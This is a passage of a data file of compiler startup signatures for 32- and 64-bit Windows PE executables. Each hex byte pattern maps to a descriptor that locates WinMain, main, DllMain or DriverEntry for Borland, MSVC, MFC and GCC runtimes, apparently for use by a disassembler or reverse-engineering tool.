01F5:@Sysinit@@GetTls$qqrv 1074 | 0000:o=2:i=bds/emb:a=108:m=+8E!*0d&$bds/detect$+18*0c&/DllEntryPoint 011D:__GetExceptDLLinfo 0122:__isDLL 012A:__getHInstance 022C:@Sysinit@@GetTls$qqrv 0270:___CRTL_TLS_Alloc 0276:___CRTL_TLS_Free 0287:___CRTL_TLS_GetValue 0298:___CRTL_TLS_SetValue 02AD:___CRTL_TLS_InitThread 02B9:___CRTL_TLS_ExitThread 1075 | 0000:o=2:i=bds/emb:a=108:m=+8E!*0d&$bds/detect$+18*0c&/DllEntryPoint 011A:__isDLL 0122:__getHInstance 0224:@Sysinit@@GetTls$qqrv 0268:___CRTL_TLS_Alloc 026E:___CRTL_TLS_Free 027F:___CRTL_TLS_GetValue 0290:___CRTL_TLS_SetValue 02A5:___CRTL_TLS_InitThread 02B1:___CRTL_TLS_ExitThread 1076 | 0000:o=2:i=bds/emb:a=108:m=+8E!*0d&$bds/detect$+18*0c&/DllEntryPoint 011A:__isDLL 0122:__getHInstance 0224:@Sysinit@@GetTls$qqrv 0268:___CRTL_TLS_Alloc 026E:___CRTL_TLS_Free 027F:___CRTL_TLS_GetValue 0290:___CRTL_TLS_SetValue 02A5:___CRTL_TLS_InitThread 02B1:___CRTL_TLS_ExitThread 1077 | 0000:o=2:i=bds/emb:a=108:m=+96!*0d&$bds/detect$+18*0c&/DllEntryPoint 011D:__GetExceptDLLinfo 0122:__isDLL 012A:__getHInstance 0208:@Sysinit@@GetTls$qqrv 1078 | 0000:o=2:i=bds/emb:a=108:m=+96!*0d&$bds/detect$+18*0c&/DllEntryPoint 0115:__isDLL 011D:__getHInstance 01FB:@Sysinit@@GetTls$qqrv 1079 | 0000:o=2:i=bds/emb:a=108:m=+96!*0d&$bds/detect$+18*0c&/DllEntryPoint 0115:__isDLL 011D:__getHInstance 01FB:@Sysinit@@GetTls$qqrv 1080 | 0000:o=2:i=bds/emb:a=108:m=+96!*0d&$bds/detect$+18*0c&/DllEntryPoint 011A:__isDLL 0122:__getHInstance 0200:@Sysinit@@GetTls$qqrv 1081 | 0000:o=2:i=bds/emb:a=108:m=+96!*0d&$bds/detect$+18*0c&/DllEntryPoint 011A:__isDLL 0122:__getHInstance 0200:@Sysinit@@GetTls$qqrv 1082 | 1083 | Pattern: EB1066623A432B2B484F4F4B90E9........E8........A1........C1E002A3 1084 | 0000:o=2:i=bds/emb:a=104:m=+44!(+13!^~/__startup~)*0d&+18??(-8?0)*0c&(??/)/WinMain;(-8?0)*0c&??/_wmain;/wWinMain 005C:__isDLL 0064:__getHInstance 013E:@Sysinit@@GetTls$qqrv 1085 | 0000:o=2:i=bds/emb:a=104:m=+44!(+13!^~/__startup~)*0d&+18??(-8?0)*0c&(??/)/WinMain;(-8?0)*0c&??/_wmain;/wWinMain 005C:__isDLL 0064:__getHInstance 013E:@Sysinit@@GetTls$qqrv 1086 | 0000:o=2:i=bds/emb:a=108:m=+8E!*0d&$bds/detect$+18*0c&/DllEntryPoint 011A:__isDLL 0122:__getHInstance 0224:@Sysinit@@GetTls$qqrv 0268:___CRTL_TLS_Alloc 026E:___CRTL_TLS_Free 027F:___CRTL_TLS_GetValue 0290:___CRTL_TLS_SetValue 02A5:___CRTL_TLS_InitThread 02B1:___CRTL_TLS_ExitThread 1087 | 0000:o=2:i=bds/emb:a=108:m=+96!*0d&$bds/detect$+18*0c&/DllEntryPoint 011A:__isDLL 0122:__getHInstance 0200:@Sysinit@@GetTls$qqrv 1088 | 1089 | Pattern: EB1466623A432B2B484F4F4B90E9................A1........C1E002A3 1090 | 0000:o=2:i=bds/emb:a=104:m=+4B!(+13!^~/__startup~)*0d&+18??(-8?0)*0c&(??/)/WinMain;(-8?0)*0c&??/_wmain;/wWinMain 0063:__GetExceptDLLinfo 0068:__isDLL 0070:__getHInstance 014A:@Sysinit@@GetTls$qqrv 1091 | 0000:o=2:i=bds/emb:a=104:m=+4B!(+13!^~/__startup~)*0d&+18??(-8?0)*0c&(??/)/WinMain;(-8?0)*0c&??/_wmain;/wWinMain 0063:__GetExceptDLLinfo 0068:__isDLL 0070:__getHInstance 014A:@Sysinit@@GetTls$qqrv 1092 | 0000:o=2:i=bds/emb:a=108:m=+8E!*0d&$bds/detect$+18*0c&/DllEntryPoint 0121:__GetExceptDLLinfo 0126:__isDLL 012E:__getHInstance 0230:@Sysinit@@GetTls$qqrv 0274:___CRTL_TLS_Alloc 027A:___CRTL_TLS_Free 028B:___CRTL_TLS_GetValue 029C:___CRTL_TLS_SetValue 02B1:___CRTL_TLS_InitThread 02BD:___CRTL_TLS_ExitThread 1093 | 0000:o=2:i=bds/emb:a=108:m=+8E!*0d&$bds/detect$+18*0c&/DllEntryPoint 0121:__GetExceptDLLinfo 0126:__isDLL 012E:__getHInstance 0230:@Sysinit@@GetTls$qqrv 0274:___CRTL_TLS_Alloc 027A:___CRTL_TLS_Free 028B:___CRTL_TLS_GetValue 029C:___CRTL_TLS_SetValue 02B1:___CRTL_TLS_InitThread 02BD:___CRTL_TLS_ExitThread 1094 | 0000:o=2:i=bds/emb:a=108:m=+96!*0d&$bds/detect$+18*0c&/DllEntryPoint 0121:__GetExceptDLLinfo 0126:__isDLL 012E:__getHInstance 020C:@Sysinit@@GetTls$qqrv 1095 | 0000:o=2:i=bds/emb:a=108:m=+96!*0d&$bds/detect$+18*0c&/DllEntryPoint 0121:__GetExceptDLLinfo 0126:__isDLL 012E:__getHInstance 020C:@Sysinit@@GetTls$qqrv 1096 | 1097 | -------------------------------------------------------------------------------- /pe64.txt: -------------------------------------------------------------------------------- 1 | Pattern: 33C040C20C00 2 | 0000:o=2:ulink:a=104:m=+E(+5*0c&~-/VirtualProtect~)??*0d&/entry:S=0/pe 3 | 4 | Pattern: 33C0C20800 5 | 0000:o=2:ulink:a=104:m=+9!^:S=0/pe 6 | 7 | Pattern: 33C0FFC0C3 8 | 0000:o=2:ulink64:a=208:m=+9!^:S=0/pe64 9 | 10 | Pattern: 40574883EC2065488B042530000000488B480833FF33C0F0480FB10D 11 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+10A(-1E!&~-/__winitenv~)??^/wmain;^/main 013D:$LN21 12 | 13 | Pattern: 4154555756534881EC90000000448B1D........31C0B90D000000488D542420 14 | 0000:o=2:a=204:c=g:m=+216(+BD!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 15 | 0000:o=2:a=204:c=g:m=+226(+AD!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 16 | 0000:o=2:a=204:c=g:m=+238(+AD!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 17 | 0000:o=2:a=204:c=g:m=+248(+9C!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 18 | 0000:o=2:a=204:c=g:m=+249(+AA!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 19 | 0000:o=2:a=204:c=g:m=+249(+AC!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 20 | 0000:o=2:a=204:c=g:m=+250(+A3!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 21 | 0000:o=2:a=204:c=g:m=+25D(+9C!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 22 | 0000:o=2:a=204:c=g:m=+26B(+9C!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 23 | 0000:o=2:a=204:c=g:m=+274(+A6!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 24 | 25 | Pattern: 4154555756534881EC900000008B1D........31C0B90D000000488D54242085 26 | 0000:o=2:a=204:c=g:m=+249(+AC!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 27 | 0000:o=2:a=204:c=g:m=+25D(+9C!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 28 | 29 | Pattern: 4154555756534883EC20488B35........85D24889CF89D34C89C5891675618B 30 | 0000:o=2:a=208:c=g:m=+36^/DllMain 31 | 32 | Pattern: 4154555756534883EC20488B35........85D24889CF89D389164C89C575548B 33 | 0000:o=2:a=208:c=g:m=+36^/DllMain 34 | 0000:o=2:a=208:c=g:m=+36^/DllMain 35 | 36 | Pattern: 4154555756534883EC20488B35........85D24889CF89D389164C89C575618B 37 | 0000:o=2:a=208:c=g:m=+36^/DllMain 38 | 39 | Pattern: 4154555756534883EC20488B3D........85D24889CD89D34D89C4891775418B 40 | 0000:o=2:a=208:c=g:m=+36^/DllMain 41 | 42 | Pattern: 4154555756534883EC20488B3D........85D24889CD89D389174D89C475418B 43 | 0000:o=2:a=208:c=g:m=+36^/DllMain 44 | 45 | Pattern: 415531C0B90D0000004154555756534881EC98000000488D5424204889D7F348 46 | 0000:o=2:a=204:c=g:m=+251(+A4!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 47 | 0000:o=2:a=204:c=g:m=+251(+A4!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 48 | 0000:o=2:a=204:c=g:m=+25E(+A7!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 49 | 0000:o=2:a=204:c=g:m=+278(+9A!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 50 | 0000:o=2:a=204:c=g:m=+278(+9A!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 51 | 0000:o=2:a=204:c=g:m=+278(+9A!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 52 | 53 | Pattern: 415531C0B90D0000004154555756534881EC980000008B2D........488D5424 54 | 0000:o=2:a=204:c=g:m=+251(+A4!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 55 | 0000:o=2:a=204:c=g:m=+278(+9A!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 56 | 57 | Pattern: 41554154555756534881EC9800000031C0B90D000000488D5424204889D7F348 58 | 0000:o=2:a=204:c=g:m=+238(+BB!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 59 | 0000:o=2:a=204:c=g:m=+242(+B1!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 60 | 0000:o=2:a=204:c=g:m=+242(+B1!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 61 | 0000:o=2:a=204:c=g:m=+243(+A0!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 62 | 63 | Pattern: 41554154555756534881EC98000000448B0D........31C0B90D0000004585C9 64 | 0000:o=2:a=204:c=g:m=+230(+B3!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 65 | 0000:o=2:a=204:c=g:m=+245(+B6!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 66 | 67 | Pattern: 41554154555756534881EC98000000448B0D........31C0B90D000000488D54 68 | 0000:o=2:a=204:c=g:m=+230(+B3!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 69 | 0000:o=2:a=204:c=g:m=+245(+B6!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 70 | 71 | Pattern: 41554154555756534881EC98000000448B1D........31C0B90D0000004585DB 72 | 0000:o=2:a=204:c=g:m=+230(+B3!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 73 | 0000:o=2:a=204:c=g:m=+245(+BA!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 74 | 75 | Pattern: 41554154555756534881EC98000000448B1D........31C0B90D000000488D54 76 | 0000:o=2:a=204:c=g:m=+230(+B3!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 77 | 0000:o=2:a=204:c=g:m=+245(+BA!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 78 | 79 | Pattern: 41554154555756534881EC98000000488B2D........31C0B90D000000448B4D 80 | 0000:o=2:a=204:c=g:m=+233(+B0!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 81 | 82 | Pattern: 41554154555756534881EC98000000488B2D........31C0B90D000000488D54 83 | 0000:o=2:a=204:c=g:m=+233(+B0!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 84 | 85 | Pattern: 41554154555756534881EC98000000488B35........31C0B90D000000448B0E 86 | 0000:o=2:a=204:c=g:m=+257(+AC!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 87 | 0000:o=2:a=204:c=g:m=+25A(+B9!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 88 | 0000:o=2:a=204:c=g:m=+25A(+B9!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 89 | 0000:o=2:a=204:c=g:m=+25B(+A2!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 90 | 91 | Pattern: 41554154555756534881EC98000000488B35........31C0B90D000000488D54 92 | 0000:o=2:a=204:c=g:m=+257(+AC!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 93 | 0000:o=2:a=204:c=g:m=+257(+AC!&~-/GetStartupInfoW~)??^/wmain;^/main:M=0/- 94 | 95 | Pattern: 448B0D........31D24C8B05........488B0D........E9........90909090 96 | 0000:m=+17^/wWinMain 97 | 98 | Pattern: 448B0D........4C8B05........31D2488B0D........E9........90909090 99 | 0000:m=+17^/wWinMain 100 | 101 | Pattern: 48534881ECA000000033DB488D4C2430FF15........908B05........83F801 102 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+11C^[wWinMain]~msmfc64u/~@vc64mfc@; 0170:$LN26 01B0:wWinMainCRTStartup$filt$0 01B9:$LN25 01C6:$LN27 103 | 104 | Pattern: 4881ECC8000000C78424A400000000000000488D4C2420FF15........E8 105 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+122(-B0!&~-/GetCommandLineW~)??^/wWinMain;^/WinMain 014B:$LN16 106 | 107 | Pattern: 4881ECC8000000C78424A400000000000000488D4C2420FF15........EB0AB8 108 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+132^[wWinMain]~msmfc64u/~@vc64mfc@; 001F:$LN17 015B:$LN21 109 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+133^[WinMain]~msmfc64/~@vc64mfc@; 001F:$LN17 015C:$LN21 110 | 111 | Pattern: 4881ECC8000000C78424A800000000000000488D4C2430FF15........90833D 112 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+205^[wWinMain]~msmfc64u/~@vc64mfc@; 0236:$LN29 0280:wWinMainCRTStartup$filt$0 0289:$LN28 02B7:$LN30 113 | 114 | Pattern: 4881ECC8000000C78424A800000000000000488D4C2430FF15........EB0AB8 115 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+227^[WinMain]~msmfc64/~@vc64mfc@; 001F:$LN31 0268:$LN35 02B0:WinMainCRTStartup$filt$0 02B9:$LN30 02BE:$LN32 02D0:WinMainCRTStartup$filt$1 02D9:$LN34 0307:$LN36 116 | 117 | Pattern: 4881ECD8000000C78424B000000000000000488D4C2420FF15........EB0AB8 118 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+23B^[WinMain]~msmfc64/~@vc64mfc@; 001F:$LN20 0264:$LN24 02B0:WinMainCRTStartup$filt$0 02B9:$LN19 02BE:$LN21 02D0:WinMainCRTStartup$filt$1 02D9:$LN23 0307:$LN25 119 | 120 | Pattern: 4881ECD8000000C78424B000000000000000488D4C2420FF15........FF15 121 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+22E^[wWinMain]~msmfc64u/~@vc64mfc@; 0257:$LN19 02A0:wWinMainCRTStartup$filt$0 02A9:$LN18 02D7:$LN20 122 | 123 | Pattern: 4881ECE8000000C78424A800000000000000488D4C2430FF15........9048C7 124 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+2B3^[wWinMain]~msmfc64u/~@vc64mfc@; 02E4:$LN32 125 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+2F1^[WinMain]~msmfc64/~@vc64mfc@; 0322:$LN34 126 | 127 | Pattern: 4881ECE8000000C78424A800000000000000488D4C2430FF15........EB0AB8 128 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+2C5^[wWinMain]~msmfc64u/~@vc64mfc@; 001F:$LN34 02F6:$LN38 129 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+2D5^[wWinMain]~msmfc64u/~@vc64mfc@; 001F:$LN34 0306:$LN38 0350:__tmainCRTStartup$filt$0 0359:$LN33 035E:$LN35 0370:__tmainCRTStartup$filt$1 0379:$LN37 03A7:$LN39 130 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+2D5^[wWinMain]~msmfc64u/~@vc64mfc@; 001F:$LN34 0306:$LN38 0350:__tmainCRTStartup$filt$0 0359:$LN33 035E:$LN35 0370:__tmainCRTStartup$filt$1 0379:$LN37 03A7:$LN39 131 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+2D5^[wWinMain]~msmfc64u/~@vc64mfc@; 001F:$LN34 0306:$LN38 0350:__tmainCRTStartup$filt$0 0359:$LN33 035E:$LN35 0370:__tmainCRTStartup$filt$1 0379:$LN37 03A7:$LN39 132 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+2ED^[WinMain]~msmfc64/~@vc64mfc@; 001F:$LN35 031E:$LN39 133 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+2FF^[WinMain]~msmfc64/~@vc64mfc@; 001F:$LN35 0330:$LN39 0380:__tmainCRTStartup$filt$0 0389:$LN34 038E:$LN36 03A0:__tmainCRTStartup$filt$1 03A9:$LN38 03D7:$LN40 134 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+2FF^[WinMain]~msmfc64/~@vc64mfc@; 001F:$LN35 0330:$LN39 0380:__tmainCRTStartup$filt$0 0389:$LN34 038E:$LN36 03A0:__tmainCRTStartup$filt$1 03A9:$LN38 03D7:$LN40 135 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+2FF^[WinMain]~msmfc64/~@vc64mfc@; 001F:$LN35 0330:$LN39 0380:__tmainCRTStartup$filt$0 0389:$LN34 038E:$LN36 03A0:__tmainCRTStartup$filt$1 03A9:$LN38 03D7:$LN40 136 | 137 | Pattern: 4881ECF8000000C78424B400000000000000C78424CC00000000000000C74424 138 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+2B5^[wWinMain]~msmfc64u/~@vc64mfc@; 0053:$LN20 02DE:$LN24 0320:__tmainCRTStartup$filt$0 0329:$LN19 032E:$LN21 0340:__tmainCRTStartup$filt$1 0349:$LN23 0377:$LN25 139 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+2B6^[WinMain]~msmfc64/~@vc64mfc@; 0053:$LN20 02DF:$LN24 0320:__tmainCRTStartup$filt$0 0329:$LN19 032E:$LN21 0340:__tmainCRTStartup$filt$1 0349:$LN23 0377:$LN25 140 | 141 | Pattern: 4883EC08448B0D........4C8B05........488B0D........31D24883C408E9 142 | 0000:m=+1F^/wWinMain 143 | 144 | Pattern: 4883EC284883FA0148895C2438488974244048897C2448488BDA488BF1498BF8 145 | 0000:o=20:win64unx:a=208:s=+75^/DLLMain 146 | 147 | Pattern: 4883EC2848895C2438488974244048897C244865488B042530000000488B5808 148 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+12B(-25!&~-/__winitenv~)??^/wmain;^/main 015E:$LN21 01A0:__tmainCRTStartup$filt$0 01A9:$LN20 01B6:$LN22 149 | 150 | Pattern: 4883EC28488B05........C70000000000E8........E865FCFFFF90904883C4 151 | 0000:s=16/- 152 | 0000:s=16/- 153 | 154 | Pattern: 4883EC28488B05........C70000000000E8........E875FCFFFF90904883C4 155 | 0000:s=16/- 156 | 157 | Pattern: 4883EC28488B05........C70000000000E8........E885FCFFFF90904883C4 158 | 0000:s=16/- 159 | 0000:s=16/- 160 | 161 | Pattern: 4883EC28488B05........C70000000000E8........E895FCFFFF90904883C4 162 | 0000:s=16/- 163 | 164 | Pattern: 4883EC28488B05........C70001000000E8........E895FCFFFF90904883C4 165 | 0000:s=16/- 166 | 167 | Pattern: 4883EC28488B05........C70001000000E8........E8A5FCFFFF90904883C4 168 | 0000:s=16/- 169 | 0000:s=16/- 170 | 171 | Pattern: 4883EC28488B05........C70001000000E8........E8B5FCFFFF90904883C4 172 | 0000:s=16/- 173 | 174 | Pattern: 4883EC28488B05........C70001000000E8........E8C5FCFFFF90904883C4 175 | 0000:s=16/- 176 | 0000:s=16/- 177 | 178 | Pattern: 4883EC284C8BC24C8BC9E8........498BD0498BC94883C428E9 179 | 0000:o=2:a=200:ms64wdk:m=+19^/DriverEntry 180 | 181 | Pattern: 4883EC2883FA0148895C2438488974244048897C24488BDA488BF1498BF87505 182 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:s=40/- 183 | 184 | Pattern: 4883EC2885D248895C243048896C243848897424408BDA488BE9498BF0751E39 185 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+8D^[DllMain]~msmfc64d/~@vc64mfc@; 186 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+8D^[DllMain]~msmfc64d/~@vc64mfc@; 187 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+8D^[DllMain]~msmfc64d/~@vc64mfc@; 188 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+8D^[DllMain]~msmfc64d/~@vc64mfc@; 189 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+8D^[DllMain]~msmfc64d/~@vc64mfc@; 190 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+8D^[DllMain]~msmfc64d/~@vc64mfc@; 191 | 192 | Pattern: 4883EC288B05........83F80175108D481EE8........8B05........EB4185 193 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+BE(-1E!&~-/__winitenv~)??^/wmain;^/main 00F1:$LN17 0130:mainCRTStartup$filt$0 0139:$LN16 0146:$LN18 194 | 195 | Pattern: 4883EC28C705........00000000E8........4883C428E934FCFFFF90909090 196 | 0000:s=17/- 197 | 198 | Pattern: 4883EC28C705........00000000E8........4883C428E944FCFFFF90909090 199 | 0000:s=17/- 200 | 201 | Pattern: 4883EC28C705........00000000E8........4883C428E954FCFFFF90909090 202 | 0000:s=17/- 203 | 204 | Pattern: 4883EC28C705........00000000E8........4883C428E964FAFFFF90909090 205 | 0000:s=17/- 206 | 207 | Pattern: 4883EC28C705........00000000E8........4883C428E984FAFFFF90909090 208 | 0000:s=17/- 209 | 210 | Pattern: 4883EC28C705........00000000E8........E868FCFFFF90904883C428C390 211 | 0000:s=13/- 212 | 213 | Pattern: 4883EC28C705........00000000E8........E888FCFFFF90904883C428C390 214 | 0000:s=13/- 215 | 216 | Pattern: 4883EC28C705........00000000E8........E898FCFFFF90904883C428C390 217 | 0000:s=13/- 218 | 219 | Pattern: 4883EC28C705........00000000E8........E8A8FCFFFF90904883C428C390 220 | 0000:s=13/- 221 | 222 | Pattern: 4883EC28C705........00000000E8........E8B8FCFFFF90904883C428C390 223 | 0000:s=13/- 224 | 225 | Pattern: 4883EC28C705........01000000E8........4883C428E954FCFFFF0F1F4000 226 | 0000:s=17/- 227 | 228 | Pattern: 4883EC28C705........01000000E8........4883C428E954FCFFFFEB029090 229 | 0000:s=17/- 230 | 231 | Pattern: 4883EC28C705........01000000E8........4883C428E964FCFFFF0F1F4000 232 | 0000:s=17/- 233 | 234 | Pattern: 4883EC28C705........01000000E8........4883C428E974FCFFFFEB029090 235 | 0000:s=17/- 236 | 237 | Pattern: 4883EC28C705........01000000E8........4883C428E984FAFFFF0F1F4000 238 | 0000:s=17/- 239 | 240 | Pattern: 4883EC28C705........01000000E8........4883C428E984FAFFFFEB029090 241 | 0000:s=17/- 242 | 243 | Pattern: 4883EC28C705........01000000E8........4883C428E9A4FAFFFF0F1F4000 244 | 0000:s=17/- 245 | 246 | Pattern: 4883EC28C705........01000000E8........4883C428E9A4FAFFFFEB029090 247 | 0000:s=17/- 248 | 249 | Pattern: 4883EC28C705........01000000E8........E888FCFFFF90904883C428C390 250 | 0000:s=13/- 251 | 252 | Pattern: 4883EC28C705........01000000E8........E8A8FCFFFF90904883C428C390 253 | 0000:s=13/- 254 | 255 | Pattern: 4883EC28C705........01000000E8........E8B8FCFFFF90904883C428C390 256 | 0000:s=13/- 257 | 258 | Pattern: 4883EC28C705........01000000E8........E8C8FCFFFF90904883C428C390 259 | 0000:s=13/- 260 | 261 | Pattern: 4883EC28C705........01000000E8........E8D8FCFFFF90904883C428C390 262 | 0000:s=13/- 263 | 264 | Pattern: 4883EC28E8........448B0D........31D24C8B05........488B0D 265 | 0000:m=+24^/WinMain 266 | 267 | Pattern: 4883EC28E8........448B0D........4C8B05........31D2488B0D 268 | 0000:m=+24^/WinMain 269 | 270 | Pattern: 4883EC28E8........4883C428C3 271 | 0000:s=4/- 272 | 273 | Pattern: 4883EC28E8........4883C428E9 274 | 0000:s=D/- 275 | 276 | Pattern: 4883EC28E8........488B05........31D2448B08488B05........4C8B0048 277 | 0000:m=+2D^/WinMain 278 | 279 | Pattern: 4883EC28E8........E8........4883C428C3 280 | 0000:s=9/- 281 | 282 | Pattern: 4883EC3848895C2440488974244848897C24504C89642458498BF08BFA4C8BE1 283 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+7A^[DllMain]~msmfc64d/~@vc64mfc@; 0105:$LN18 0120:__DllMainCRTStartup$filt$0 0129:$LN17 0136:$LN19 284 | 0000:o=2:a=208:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+8B^[DllMain]~msmfc64d/~@vc64mfc@; 0114:$LN23 011A:$LN21 0140:__DllMainCRTStartup$filt$0 0149:$LN22 015D:$LN24 0170:__DllMainCRTStartup$fin$1 0179:$LN18 0183:$LN19 285 | 286 | Pattern: 4883EC3848895C2440488974244848897C24504C896424584C896C2430FF15 287 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+239^/wmain 0256:$LN17 0290:__tmainCRTStartup$filt$0 0299:$LN16 02A6:$LN18 288 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+23A^/main 0257:$LN17 0290:__tmainCRTStartup$filt$0 0299:$LN16 02A6:$LN18 289 | 290 | Pattern: 4883EC3848895C245048897C2458FF15........488BC833D241B894000000FF 291 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+204^/wmain 0221:$LN16 0250:wmainCRTStartup$filt$0 0259:$LN15 0266:$LN17 292 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+205^/main 0222:$LN16 0250:mainCRTStartup$filt$0 0259:$LN15 0266:$LN17 293 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+232^/wmain 024F:$LN17 0280:wmainCRTStartup$filt$0 0289:$LN16 0296:$LN18 294 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+233^/main 0250:$LN17 0280:mainCRTStartup$filt$0 0289:$LN16 0296:$LN18 295 | 296 | Pattern: 4883EC38E8........0FB7C089442420E8........4889442428448B4C24204C 297 | 0000:o=2:a=204:vc64_14:vc64ucrt:l=vc64mfc/vc64extra/vc64atl:m=+2D(-18!&~-/_get_wide_winmain_command_line~)??^[wWinMain]~msmfc64u/~@vc64mfc@;^[WinMain]~msmfc64/~@vc64mfc@ 298 | 299 | Pattern: 4883EC38E8........0FB7C089442420E8........8B4C2420448BC94C8BC033 300 | 0000:o=2:a=204:vc64_14:vc64ucrt:l=vc64mfc/vc64extra/vc64atl:m=+28(-18!&~-/_get_wide_winmain_command_line~)??^[wWinMain]~msmfc64u/~@vc64mfc@;^[WinMain]~msmfc64/~@vc64mfc@ 301 | 302 | Pattern: 4883EC38E8........4889442420E8........4889442428E8........488B4C 303 | 0000:o=2:a=204:vc64_14:vc64ucrt:l=vc64mfc/vc64extra/vc64atl:m=+2F(-2B!&~-/_get_initial_wide_environment~)??^/wmain;^/main 304 | 305 | Pattern: 4883EC4848895C244048897C2438FF15........488BC833D241B894000000FF 306 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+233^/wmain 0250:$LN17 0280:wmainCRTStartup$filt$0 0289:$LN16 0296:$LN18 307 | 0000:o=2:a=204:vc64rtf:l=vc64mfc/vc64extra/vc64atl:m=+234^/main 0251:$LN17 0280:mainCRTStartup$filt$0 0289:$LN16 0296:$LN18 308 | 309 | Pattern: 4883EC48488B05........83FA01C70000000000740A4883C448E991FEFFFF90 310 | 0000:s=1A/- 311 | 312 | Pattern: 4883EC48488B05........83FA01C70000000000740A4883C448E9A1FEFFFF90 313 | 0000:s=1A/- 314 | 315 | Pattern: 4883EC48488B05........C7000000000083FA01740A4883C448E991FEFFFF90 316 | 0000:s=1A/- 317 | 318 | Pattern: 4883EC48488B05........C7000000000083FA01740A4883C448E9A1FEFFFF90 319 | 0000:s=1A/- 320 | 321 | Pattern: 4883EC48488B05........C7000000000083FA01740A4883C448E9B1FEFFFF90 322 | 0000:s=1A/- 323 | 324 | Pattern: 4883EC48833D........01750CB91F000000E8........EB40833D........00 325 | 